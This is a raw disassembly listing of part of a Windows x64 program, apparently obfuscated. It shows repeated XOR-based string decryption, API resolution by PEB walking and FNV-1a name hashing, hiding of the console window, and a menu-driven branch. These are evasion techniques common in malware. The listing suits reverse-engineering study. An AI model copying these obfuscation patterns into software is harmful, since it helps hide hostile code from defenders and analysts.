movups xmm0, xmmword [0x14008e288]
movups xmmword [rbp + 0x198], xmm0
movsd xmm0, qword [0x14008e298]
movsd qword [rbp + 0x1a8], xmm0
movzx eax, word [0x14008e2a0]
mov word [rbp + 0x1b0], ax
movzx eax, byte [0x14008e2a2]
mov byte [rbp + 0x1b2], al
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140006986
movdqa xmm5, xmmword [0x14008e970]
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm6, xmmword [0x14008e990]
movdqa xmm0, xmmword [0x14008e9c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x19c]
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140006881
cmp r8d, 0x1b
jge 0x1400069d0
movsxd rax, r8d
lea r9, [rbp + 0x198]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x1400069a0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x38], rcx
cmp rcx, r10
je 0x140006a6b
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x140006a6b
mov edx, dword [rcx + 0x20]
mov qword [rsp + 0x40], rdx
nop
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdx]
add rdx, r10
mov r8d, 0x80ba4d24
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140006a61
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140006a40
cmp r8d, 0x15ef170f
je 0x140006a70
test r9d, r9d
mov rdx, qword [rsp + 0x40]
jne 0x140006a20
mov rax, qword [rax]
jmp 0x1400069f0
mov rax, qword [rsp + 0x38]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x198]
call rdx
movups xmm0, xmmword [0x14008e770]
movups xmmword [rbp + 0x1d8], xmm0
movsd xmm0, qword [0x14008e780]
movsd qword [rbp + 0x1e8], xmm0
mov eax, dword [0x14008e788]
mov dword [rbp + 0x1f0], eax
cmp byte [0x14008e78b], 0
je 0x140006c60
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140006c15
movdqa xmm5, xmmword [0x14008e970]
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm6, xmmword [0x14008e990]
movdqa xmm0, xmmword [0x14008e9c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x1dc]
mov edx, dword [rsp + 0x40]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140006b10
cmp r8d, 0x1c
jge 0x140006c60
movsxd rax, r8d
lea r9, [rbp + 0x1d8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x140006c30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x38], rcx
cmp rcx, r10
je 0x140006cfb
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x140006cfb
mov edx, dword [rcx + 0x20]
mov qword [rsp + 0x40], rdx
nop
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdx]
add rdx, r10
mov r8d, 0x6256cc56
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140006cf1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140006cd0
cmp r8d, 0xdc77c735
je 0x140006d00
test r9d, r9d
mov rdx, qword [rsp + 0x40]
jne 0x140006cb0
mov rax, qword [rax]
jmp 0x140006c80
mov rax, qword [rsp + 0x38]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x1d8]
call rdx
lea rdx, [rbp + 0x15d4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov eax, dword [rbp + 0x15d4]
dec eax
cmp eax, 5
ja case.0x140006d5d.1
cdqe
lea rdx, [0x140000000]
mov ecx, dword [rdx + rax*4 + 0x1498c]
add rcx, rdx
jmp rcx
xor edx, edx
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.USER32.dll_ShowWindow]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1608], xmm0
mov qword [rbp + 0x1618], rax
lea rax, [rbp + 0x4b8]
mov qword [rsp + 0x38], rax
mov eax, dword [0x14008d50c]
mov dword [rbp - 0x6c], eax
movzx ecx, word [0x14008d510]
mov word [rbp - 0x68], cx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp - 0x6c], gethostname
xor byte [rbp - 0x6b], 0x37
xor byte [rbp - 0x6a], 0x38
xor byte [rbp - 0x69], 0x39
xor cl, 0x3a
mov byte [rbp - 0x68], cl
xor byte [rbp - 0x67], 0x3b
xor al, 0x3c
mov byte [rbp - 0x66], al
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x4b8]
call fcn.140016c00
nop
lea rax, [rbp - 0x6c]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140006de1
lea rdx, [rbp - 0x6c]
lea rcx, [rbp + 0x4b8]
call fcn.140016c20
nop
lea r8, [rbp + 0x4b8]
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0x1ea0]
call fcn.140021b80
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1730]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x14008dfd8]
movups xmmword [rbp + 0xa88], xmm0
movups xmm1, xmmword [0x14008dfe8]
movups xmmword [rbp + 0xa98], xmm1
movsd xmm0, qword [0x14008dff8]
movsd qword [rbp + 0xaa8], xmm0
mov eax, dword [0x14008e000]
mov dword [rbp + 0xab0], eax
movzx eax, byte [0x14008e004]
mov byte [rbp + 0xab4], al
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140006fc5
movdqa xmm5, xmmword [0x14008e970]
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm6, xmmword [0x14008e990]
movdqa xmm0, xmmword [0x14008e9c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0xa8c]
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140006ec0
cmp r8d, 0x2d
jge 0x140007010
movsxd rax, r8d
lea r9, [rbp + 0xa88]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140006fe0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x1e]
lea rdx, [rbp + 0xa88]
lea rcx, [rbp + 0x1730]
call fcn.1400159e0
nop
mov r8, qword [rbp + 0x1610]
mov rdx, qword [rbp + 0x1608]
sub r8, rdx
lea rcx, [rbp + 0x1730]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x1730]
call fcn.1400158e0
movups xmm0, xmmword [0x14008d970]
movups xmmword [rbp + 0x13d0], xmm0
movups xmm1, xmmword [0x14008d980]
movups xmmword [rbp + 0x13e0], xmm1
movups xmm0, xmmword [0x14008d990]
movups xmmword [rbp + 0x13f0], xmm0
movups xmm1, xmmword [0x14008d9a0]
movups xmmword [rbp + 0x1400], xmm1
movups xmm0, xmmword [0x14008d9b0]
movups xmmword [rbp + 0x1410], xmm0
movsd xmm0, qword [0x14008d9c0]
movsd qword [rbp + 0x1420], xmm0
movzx eax, word [0x14008d9c8]
mov word [rbp + 0x1428], ax
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400071ef
movdqa xmm5, xmmword [0x14008e970]
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm6, xmmword [0x14008e990]
movdqa xmm7, xmmword [0x14008e9a0]
lea rcx, [rbp + 0x13d0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x28
jl 0x140007100
cmp r8d, 0x2d
jge 0x140007234
movsxd rax, r8d
lea r9, [rbp + 0x13d0]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x35
movzx eax, r8w
sub ax, cx
add ax, 0x36
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x2d
jl 0x140007200
movups xmm0, xmmword [0x14008dfa8]
movzx eax, word [0x14008dfb8]
movups xmmword [rbp + 0x40], xmm0
mov ecx, 0x53
mov word [rbp + 0x40], cx
xor word [rbp + 0x42], 0x37
xor word [rbp + 0x44], 0x38
xor word [rbp + 0x46], 0x39
xor word [rbp + 0x48], 0x3a
xor word [rbp + 0x4a], 0x3b
xor word [rbp + 0x4c], 0x3c
xor word [rbp + 0x4e], 0x3d
xor ax, 0x3e
mov word [rbp + 0x50], ax
lea rdx, [rbp + 0x13d0]
lea rcx, [rbp + 0x40]
call fcn.140001ce0
mov eax, dword [0x14008d574]
mov dword [rsp + 0x60], eax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x140007360
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140007328
movdqa xmm3, xmmword [0x14008e970]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14008e9d0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14008e9d0]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14008e990]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14008e9c0]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x60], xmm2
jmp 0x140007360
lea r9, [rsp + 0x60]
xor r8d, r8d
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140007330
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x38], rcx
cmp rcx, r10
je 0x1400073fb
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x1400073fb
mov edx, dword [rcx + 0x20]
mov qword [rsp + 0x40], rdx
nop
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdx]
add rdx, r10
mov r8d, 0x74729dd
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400073f1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400073d0
cmp r8d, 0xb00b4674
je 0x140007400
test r9d, r9d
mov rdx, qword [rsp + 0x40]
jne 0x1400073b0
mov rax, qword [rax]
jmp 0x140007380
mov rax, qword [rsp + 0x38]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rsp + 0x60]
call rdx
mov edx, 5
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.USER32.dll_ShowWindow]
nop
lea rcx, [rbp + 0x17d8]
call fcn.140015920
lea rcx, [rbp + 0x17d8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1608]
jmp 0x140007e74
xor edx, edx
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.USER32.dll_ShowWindow]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x15f0], xmm0
mov qword [rbp + 0x1600], rax
lea rax, [rbp + 0x4d8]
mov qword [rsp + 0x38], rax
mov eax, dword [0x14008e280]
mov dword [rbp - 0x64], eax
movzx ecx, word [0x14008e284]
mov word [rbp - 0x60], cx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp - 0x64], gethostname
xor byte [rbp - 0x63], 0x37
xor byte [rbp - 0x62], 0x38
xor byte [rbp - 0x61], 0x39
xor cl, 0x3a
mov byte [rbp - 0x60], cl
xor byte [rbp - 0x5f], 0x3b
xor al, 0x3c
mov byte [rbp - 0x5e], al
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x4d8]
call fcn.140016c00
nop
lea rax, [rbp - 0x64]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400074e0
lea rdx, [rbp - 0x64]
lea rcx, [rbp + 0x4d8]
call fcn.140016c20
nop
lea r8, [rbp + 0x4d8]
lea rdx, [rbp + 0x15f0]
lea rcx, [rbp + 0x1ea0]
call fcn.140021b80
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1840]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x14008dd30]
movups xmmword [rbp + 0x9f8], xmm0
movups xmm1, xmmword [0x14008dd40]
movups xmmword [rbp + 0xa08], xmm1
movsd xmm0, qword [0x14008dd50]
movsd qword [rbp + 0xa18], xmm0
movzx eax, byte [0x14008dd58]
mov byte [rbp + 0xa20], al
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400076b5
movdqa xmm5, xmmword [0x14008e970]
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm6, xmmword [0x14008e990]
movdqa xmm0, xmmword [0x14008e9c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x9fc]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400075b0
cmp r8d, 0x29
jge 0x140007700
movsxd rax, r8d
lea r9, [rbp + 0x9f8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x29
jl 0x1400076d0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x1e]
lea rdx, [rbp + 0x9f8]
lea rcx, [rbp + 0x1840]
call fcn.1400159e0
nop
mov r8, qword [rbp + 0x15f8]
mov rdx, qword [rbp + 0x15f0]
sub r8, rdx
lea rcx, [rbp + 0x1840]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x1840]
call fcn.1400158e0
movups xmm0, xmmword [str.ECYKNe]
movups xmmword [rbp + 0x1430], xmm0
movups xmm1, xmmword [0x14008d890]
movups xmmword [rbp + 0x1440], xmm1
movups xmm0, xmmword [0x14008d8a0]
movups xmmword [rbp + 0x1450], xmm0
movups xmm1, xmmword [0x14008d8b0]
movups xmmword [rbp + 0x1460], xmm1
movups xmm0, xmmword [0x14008d8c0]
movups xmmword [rbp + 0x1470], xmm0
movsd xmm0, qword [0x14008d8d0]
movsd qword [rbp + 0x1480], xmm0
movzx eax, word [0x14008d8d8]
mov word [rbp + 0x1488], ax
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140007905
movdqa xmm5, xmmword [0x14008e970]
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm6, xmmword [0x14008e990]
movdqa xmm0, xmmword [0x14008e9c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x1434]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140007800
cmp r8d, 0x5a
jge 0x140007950
movsxd rax, r8d
lea r9, [rbp + 0x1430]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5a
jl 0x140007920
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x38], rcx
cmp rcx, r10
je 0x1400079eb
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x1400079eb
mov edx, dword [rcx + 0x20]
mov qword [rsp + 0x40], rdx
nop
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdx]
add rdx, r10
mov r8d, 0x456b97df
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400079e1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400079c0
cmp r8d, 0x335b73e
je 0x1400079f0
test r9d, r9d
mov rdx, qword [rsp + 0x40]
jne 0x1400079a0
mov rax, qword [rax]
jmp 0x140007970
mov rax, qword [rsp + 0x38]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
